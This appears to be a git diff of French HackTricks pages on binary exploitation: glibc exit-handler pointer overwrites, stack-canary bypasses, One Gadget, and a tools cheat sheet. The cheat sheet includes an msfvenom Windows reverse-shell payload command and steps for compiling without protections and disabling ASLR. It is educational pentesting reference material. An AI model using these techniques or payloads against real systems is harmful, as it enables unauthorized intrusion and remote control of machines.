0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||
```
|
||||
Donc, vous devez prendre cela en compte avant d'ajouter une nouvelle adresse.
|
||||
|
||||
Trouvez un exemple dans le [**message original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
|
||||
|
||||
## Autres pointeurs modifiés dans **`__run_exit_handlers`**
|
||||
|
||||
Cette technique est [**expliquée ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) et dépend à nouveau du programme **qui se termine en appelant `return` ou `exit()`** pour que **`__run_exit_handlers()`** soit appelé.
|
||||
|
||||
Vérifions plus de code de cette fonction :
|
||||
```c
|
||||
while (true)
|
||||
{
|
||||
struct exit_function_list *cur;
|
||||
|
||||
restart:
|
||||
cur = *listp;
|
||||
|
||||
if (cur == NULL)
|
||||
{
|
||||
/* Exit processing complete. We will not allow any more
|
||||
atexit/on_exit registrations. */
|
||||
__exit_funcs_done = true;
|
||||
break;
|
||||
}
|
||||
|
||||
while (cur->idx > 0)
|
||||
{
|
||||
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||
|
||||
switch (f->flavor)
|
||||
{
|
||||
void (*atfct) (void);
|
||||
void (*onfct) (int status, void *arg);
|
||||
void (*cxafct) (void *arg, int status);
|
||||
void *arg;
|
||||
|
||||
case ef_free:
|
||||
case ef_us:
|
||||
break;
|
||||
case ef_on:
|
||||
onfct = f->func.on.fn;
|
||||
arg = f->func.on.arg;
|
||||
PTR_DEMANGLE (onfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
onfct (status, arg);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_at:
|
||||
atfct = f->func.at;
|
||||
PTR_DEMANGLE (atfct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
atfct ();
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
case ef_cxa:
|
||||
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||
we must mark this function as ef_free. */
|
||||
f->flavor = ef_free;
|
||||
cxafct = f->func.cxa.fn;
|
||||
arg = f->func.cxa.arg;
|
||||
PTR_DEMANGLE (cxafct);
|
||||
|
||||
/* Unlock the list while we call a foreign function. */
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
cxafct (arg, status);
|
||||
__libc_lock_lock (__exit_funcs_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||
/* The last exit function, or another thread, has registered
|
||||
more exit functions. Start the loop over. */
|
||||
goto restart;
|
||||
}
|
||||
|
||||
*listp = cur->next;
|
||||
if (*listp != NULL)
|
||||
/* Don't free the last element in the chain, this is the statically
|
||||
allocate element. */
|
||||
free (cur);
|
||||
}
|
||||
|
||||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
La variable `f` pointe vers la structure **`initial`** et en fonction de la valeur de `f->flavor`, différentes fonctions seront appelées.\
|
||||
Selon la valeur, l'adresse de la fonction à appeler sera à un endroit différent, mais elle sera toujours **démanglée**.
|
||||
|
||||
De plus, dans les options **`ef_on`** et **`ef_cxa`**, il est également possible de contrôler un **argument**.
|
||||
|
||||
Il est possible de vérifier la structure **`initial`** lors d'une session de débogage avec GEF en exécutant **`gef> p initial`**.
|
||||
|
||||
Pour exploiter cela, vous devez soit **fuir ou effacer le cookie `PTR_MANGLE`** puis écraser une entrée `cxa` dans initial avec `system('/bin/sh')`.\
|
||||
Vous pouvez trouver un exemple de cela dans le [**article de blog original sur la technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
|||
|
|
@ -15,21 +15,25 @@ Autres façons de soutenir HackTricks :
|
|||
</details>
|
||||
|
||||
## Metasploit
|
||||
```
|
||||
```bash
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Coquilles###
|
||||
```
|
||||
### Coquilles
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## GDB
|
||||
|
||||
### Installation
|
||||
```
|
||||
```bash
|
||||
apt-get install gdb
|
||||
```
|
||||
### Paramètres
|
||||
|
|
@ -85,6 +89,8 @@ x/xw &pointer # Address where the pointer is located
|
|||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
Vous pourriez éventuellement utiliser [**ce fork de GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) qui contient des instructions plus intéressantes.
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
|
|
@ -132,14 +138,14 @@ Lors du débogage, GDB aura des **adresses légèrement différentes de celles u
|
|||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<chemin>` _Mettre le chemin absolu vers le binaire_
|
||||
* Exploiter le binaire en utilisant le même chemin absolu
|
||||
* `set env _=<chemin>` _Mettez le chemin absolu vers le binaire_
|
||||
* Exploitez le binaire en utilisant le même chemin absolu
|
||||
* `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire
|
||||
|
||||
#### Retracer pour trouver les fonctions appelées
|
||||
|
||||
Lorsque vous avez un **binaire lié statiquement**, toutes les fonctions appartiendront au binaire (et non aux bibliothèques externes). Dans ce cas, il sera difficile de **identifier le flux que suit le binaire pour par exemple demander une entrée utilisateur**.\
|
||||
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**retracer**) pour voir les fonctions appelées :
|
||||
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées :
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
|
@ -157,36 +163,42 @@ gef➤ bt
|
|||
### Trouver le décalage de la pile
|
||||
|
||||
**Ghidra** est très utile pour trouver le **décalage** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\
|
||||
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un décalage de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique qu'il y a un décalage de `0xac` pour l'écraser à partir de `local_bc`.\
|
||||
_Rappelez-vous que les 0x08 premiers où le RIP est sauvegardé appartiennent au RBP._
|
||||
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un décalage de `0xbc`. De plus, si `local_10` est un cookie de canari, cela indique que pour le remplacer depuis `local_bc`, il y a un décalage de `0xac`.\
|
||||
_Rappelez-vous que les premiers 0x08 où le RIP est sauvegardé appartiennent au RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
## qtool
|
||||
```bash
|
||||
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
```
|
||||
Obtenez chaque opcode exécuté dans le programme.
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\
|
||||
**-o** --> Sortie\
|
||||
**-g** --> Sauvegarder le code (GDB pourra le voir)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR sous Linux
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Désactiver l'ASLR sous Linux
|
||||
|
||||
**Pour compiler un shellcode :**\
|
||||
**nasm -f elf assembly.asm** --> retourne un ".o"\
|
||||
**nasm -f elf assembly.asm** --> retourne un fichier ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Exécutable
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Désassembler les** sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\
|
||||
**-d** --> Désassembler les sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\
|
||||
**-Mintel** --> Syntaxe **Intel**\
|
||||
**-t** --> Table des **symboles**\
|
||||
**-D** --> **Désassembler tout** (adresse d'une variable statique)\
|
||||
**-D** --> Désassembler tout (adresse d'une variable statique)\
|
||||
**-s -j .dtors** --> section dtors\
|
||||
**-s -j .got** --> section got\
|
||||
\-D -s -j .plt --> section **plt** **désassemblée**\
|
||||
\-D -s -j .plt --> section **plt** **décompilée**\
|
||||
**-TR** --> **Réallocations**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans le GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse d'une variable statique (celles-ci sont stockées dans la section DATA).
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse d'une variable statique (stockées dans la section DATA).
|
||||
|
||||
## Dumps de core
|
||||
## Core dumps
|
||||
|
||||
1. Exécuter `ulimit -c unlimited` avant de démarrer mon programme
|
||||
2. Exécuter `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
|
|
@ -209,9 +221,9 @@ _Rappelez-vous que les 0x08 premiers où le RIP est sauvegardé appartiennent au
|
|||
```
|
||||
## IDA
|
||||
|
||||
### Débogage à distance sur Linux
|
||||
### Débogage à distance sous Linux
|
||||
|
||||
À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sur un système Linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` sur le serveur Linux et exécutez-le à l'intérieur du dossier contenant le binaire :
|
||||
À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sous Linux. Pour ce faire, déplacez le binaire `linux_server` ou `linux_server64` à l'intérieur du serveur Linux et exécutez-le à l'intérieur du dossier contenant le binaire :
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,35 +1,34 @@
|
|||
# Canaries de la pile
|
||||
# Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
* Partagez vos astuces de piratage en soumettant des PR aux dépôts github de **HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard et StackShield**
|
||||
|
||||
**StackGuard** insère une valeur spéciale appelée **canary** avant le **EIP (Extended Instruction Pointer)**, spécifiquement `0x000aff0d` (représentant null, saut de ligne, EOF, retour chariot) pour se protéger contre les débordements de tampon. Cependant, des fonctions comme `recv()`, `memcpy()`, `read()`, et `bcopy()` restent vulnérables, et cela ne protège pas l'**EBP (Base Pointer)**.
|
||||
**StackGuard** insère une valeur spéciale appelée **canary** avant le **EIP (Extended Instruction Pointer)**, spécifiquement `0x000aff0d` (représentant null, saut de ligne, EOF, retour chariot) pour se protéger contre les débordements de tampon. Cependant, des fonctions comme `recv()`, `memcpy()`, `read()` et `bcopy()` restent vulnérables, et il ne protège pas le **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** adopte une approche plus sophistiquée que StackGuard en maintenant une **pile de retour globale**, qui stocke toutes les adresses de retour (**EIP**). Cette configuration garantit qu'un débordement ne cause aucun dommage, car elle permet de comparer les adresses de retour stockées et réelles pour détecter les occurrences de débordement. De plus, StackShield peut vérifier l'adresse de retour par rapport à une valeur limite pour détecter si l'**EIP** pointe en dehors de l'espace de données attendu. Cependant, cette protection peut être contournée par des techniques comme Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indiquant que StackShield ne protège pas non plus les variables locales.
|
||||
**StackShield** adopte une approche plus sophistiquée que StackGuard en maintenant une **Global Return Stack**, qui stocke toutes les adresses de retour (**EIPs**). Cette configuration garantit qu'un débordement ne cause aucun dommage, car elle permet une comparaison entre les adresses de retour stockées et réelles pour détecter les occurrences de débordement. De plus, StackShield peut vérifier l'adresse de retour par rapport à une valeur limite pour détecter si l'**EIP** pointe en dehors de l'espace de données attendu. Cependant, cette protection peut être contournée par des techniques telles que Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indiquant que StackShield ne protège pas non plus les variables locales.
|
||||
|
||||
## **Protecteur de débordement de pile (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Ce mécanisme place un **canary** avant l'**EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également de manière sécurisée les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, cela ne protège pas les tableaux avec moins de 8 éléments ou les tampons à l'intérieur d'une structure utilisateur.
|
||||
Ce mécanisme place un **canary** avant le **EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également de manière sécurisée les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, il ne protège pas les tableaux avec moins de 8 éléments ou les tampons à l'intérieur d'une structure utilisateur.
|
||||
|
||||
Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou d'une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86\_64**, à `fs:0x28`.
|
||||
|
||||
Cette protection locale identifie les fonctions avec des tampons vulnérables aux attaques et injecte du code au début de ces fonctions pour placer le canary, et à la fin pour vérifier son intégrité.
|
||||
|
||||
Lorsqu'un serveur web utilise `fork()`, cela permet une attaque par force brute pour deviner le byte du canary octet par octet. Cependant, en utilisant `execve()` après `fork()`, cela écrase l'espace mémoire, annulant l'attaque. `vfork()` permet au processus enfant d'exécuter sans duplication jusqu'à ce qu'il tente d'écrire, à ce moment-là une duplication est créée, offrant une approche différente à la création de processus et à la gestion de la mémoire.
|
||||
Lorsqu'un serveur web utilise `fork()`, il permet une attaque par force brute pour deviner le byte du canary octet par octet. Cependant, en utilisant `execve()` après `fork()`, on écrase l'espace mémoire, annulant l'attaque. `vfork()` permet au processus enfant d'exécuter sans duplication jusqu'à ce qu'il tente d'écrire, à ce moment-là une duplication est créée, offrant une approche différente à la création de processus et à la gestion de la mémoire.
|
||||
|
||||
### Longueurs
|
||||
|
||||
|
|
@ -45,13 +44,13 @@ Le byte le moins significatif des deux canaries est un octet nul car il sera le
|
|||
|
||||
**Fuite du canary** puis écrasement de celui-ci (par exemple, débordement de tampon) avec sa propre valeur.
|
||||
|
||||
* Si le **canary est forké dans les processus enfants**, il pourrait être possible de le **forcer** un octet à la fois :
|
||||
* Si le **canary est forké dans les processus enfants**, il pourrait être possible de le **forcer par la force brute** un octet à la fois :
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* S'il y a une certaine **fuite ou vulnérabilité de lecture arbitraire** intéressante dans le binaire, il pourrait être possible de laisser fuiter :
|
||||
* S'il y a une **fuite intéressante ou une vulnérabilité de lecture arbitraire** dans le binaire, il pourrait être possible de laisser fuiter :
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
|
|
@ -59,27 +58,43 @@ Le byte le moins significatif des deux canaries est un octet nul car il sera le
|
|||
|
||||
* **Écrasement des pointeurs stockés dans la pile**
|
||||
|
||||
La pile vulnérable à un débordement de pile pourrait **contenir des adresses vers des chaînes ou des fonctions qui peuvent être écrasées** afin d'exploiter la vulnérabilité sans avoir besoin d'atteindre le canary de la pile. Vérifiez :
|
||||
La pile vulnérable à un débordement de pile pourrait **contenir des adresses vers des chaînes ou des fonctions qui peuvent être écrasées** pour exploiter la vulnérabilité sans avoir besoin d'atteindre le canary de la pile. Vérifiez :
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Modification à la fois du canary maître et du canary du thread**
|
||||
* **Modifier à la fois le canary maître et le canary du thread**
|
||||
|
||||
Un débordement de tampon dans une fonction threadée protégée par un canary peut être utilisé pour **modifier le canary maître du thread**. Par conséquent, la mitigation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).
|
||||
Un débordement de tampon dans une fonction threadée protégée par un canary peut être utilisé pour **modifier le canary maître du thread**. Par conséquent, la mitigation est inutile car la vérification est effectuée avec deux canaries identiques (bien que modifiés).
|
||||
|
||||
De plus, un débordement de tampon dans une fonction threadée protégée par un canary pourrait être utilisé pour **modifier le canary maître stocké dans le TLS**. Cela est possible car il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc le canary) via un **débordement de tampon dans la pile** d'un thread.\
|
||||
Par conséquent, la mitigation est inutile car la vérification est effectuée avec deux canaries identiques (bien que modifiés).\
|
||||
Cette attaque est réalisée dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Consultez également la présentation de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme indiqué dans le writeup précédent.
|
||||
|
||||
* **Modifier l'entrée GOT de `__stack_chk_fail`**
|
||||
|
||||
Si le binaire a Partial RELRO, alors vous pouvez utiliser une écriture arbitraire pour modifier l'**entrée GOT de `__stack_chk_fail`** pour être une fonction factice qui ne bloque pas le programme si le canary est modifié.
|
||||
Si le binaire a une RELRO partielle, vous pouvez utiliser une écriture arbitraire pour modifier l'**entrée GOT de `__stack_chk_fail`** pour être une fonction factice qui ne bloque pas le programme si le canary est modifié.
|
||||
|
||||
Cette attaque est réalisée dans le writeup : [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
## Références
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et à** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **sur GitHub.**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -27,7 +27,7 @@ Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur
|
|||
|
||||
La meilleure façon de contourner un canari simple est si le binaire est un programme **créant des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**.
|
||||
|
||||
Ainsi, la meilleure façon de contourner le canari est simplement de le **forcer brutalement caractère par caractère**, et vous pouvez déterminer si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force brutalement un canari de 8 octets (x64)** et distingue entre un byte deviné correct et un mauvais byte en vérifiant simplement si une **réponse** est renvoyée par le serveur (dans une **autre situation**, vous pourriez utiliser un **try/except**):
|
||||
Ainsi, la meilleure façon de contourner le canari est simplement de le **forcer de manière brute caractère par caractère**, et vous pouvez déterminer si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force de manière brute un canari de 8 octets (x64)** et distingue entre un byte deviné correct et un byte incorrect en vérifiant simplement si une **réponse** est renvoyée par le serveur (dans une **autre situation**, on pourrait utiliser un **try/except**):
|
||||
|
||||
### Exemple 1
|
||||
|
||||
|
|
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|||
### Exemple 2
|
||||
|
||||
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\
|
||||
Notez également que pour cet exemple, **le programme attend d'abord un octet pour indiquer la taille de l'entrée** et de la charge utile.
|
||||
Notez également que pour cet exemple, **le programme attend d'abord un octet pour indiquer la taille de l'entrée** et la charge utile.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -116,11 +116,14 @@ log.info(f"The canary is: {canary}")
|
|||
```
|
||||
## Threads
|
||||
|
||||
Les threads du même processus partageront également **le même jeton canary**, il sera donc possible de **forcer de manière brutale** un canary si le binaire crée un nouveau thread à chaque attaque. 
|
||||
Les threads du même processus partageront également **le même jeton canary**, il sera donc possible de **forcer un canary par brute-force** si le binaire crée un nouveau thread à chaque attaque. 
|
||||
|
||||
De plus, un **débordement de tampon dans une fonction threadée** protégée par un canary peut être utilisé pour **modifier le canary maître du thread**. Par conséquent, la mitigation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).\
|
||||
De plus, un **débordement de tampon dans une fonction threadée** protégée par un canary pourrait être utilisé pour **modifier le canary maître stocké dans le TLS**. Cela est possible car il pourrait être atteignable la position mémoire où le TLS est stocké (et donc, le canary) via un **débordement de tampon dans la pile** d'un thread.\
|
||||
En conséquence, la mitigation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).\
|
||||
Cette attaque est réalisée dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Consultez également la présentation de [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme indiqué dans le writeup précédent.
|
||||
|
||||
## Autres exemples & références
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
|
|
|
|||
|
|
@ -27,19 +27,28 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|||
Pour l'adresse indiquée par One Gadget, vous devez **ajouter l'adresse de base où `libc`** est chargée.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget est d'une **grande aide pour les techniques d'écriture arbitraire 2 exécution** et peut **simplifier les chaînes ROP** car vous n'avez besoin d'appeler qu'une seule adresse (et de remplir les conditions requises).
|
||||
One Gadget est d'une **grande aide pour les techniques d'écriture arbitraire 2 Exec** et peut **simplifier les chaînes ROP** car vous n'avez besoin d'appeler qu'une seule adresse (et de remplir les conditions requises).
|
||||
{% endhint %}
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
Depuis le [**dépôt github**](https://github.com/ChrisTheCoolHut/angry\_gadget) : Inspiré par [OneGadget](https://github.com/david942j/one\_gadget), cet outil est écrit en python et utilise [angr](https://github.com/angr/angr) pour tester les contraintes des gadgets exécutant `execve('/bin/sh', NULL, NULL)`\
|
||||
Si vous avez épuisé les gadgets à essayer avec One Gadget, Angry Gadget en propose beaucoup plus avec des contraintes compliquées à essayer !
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
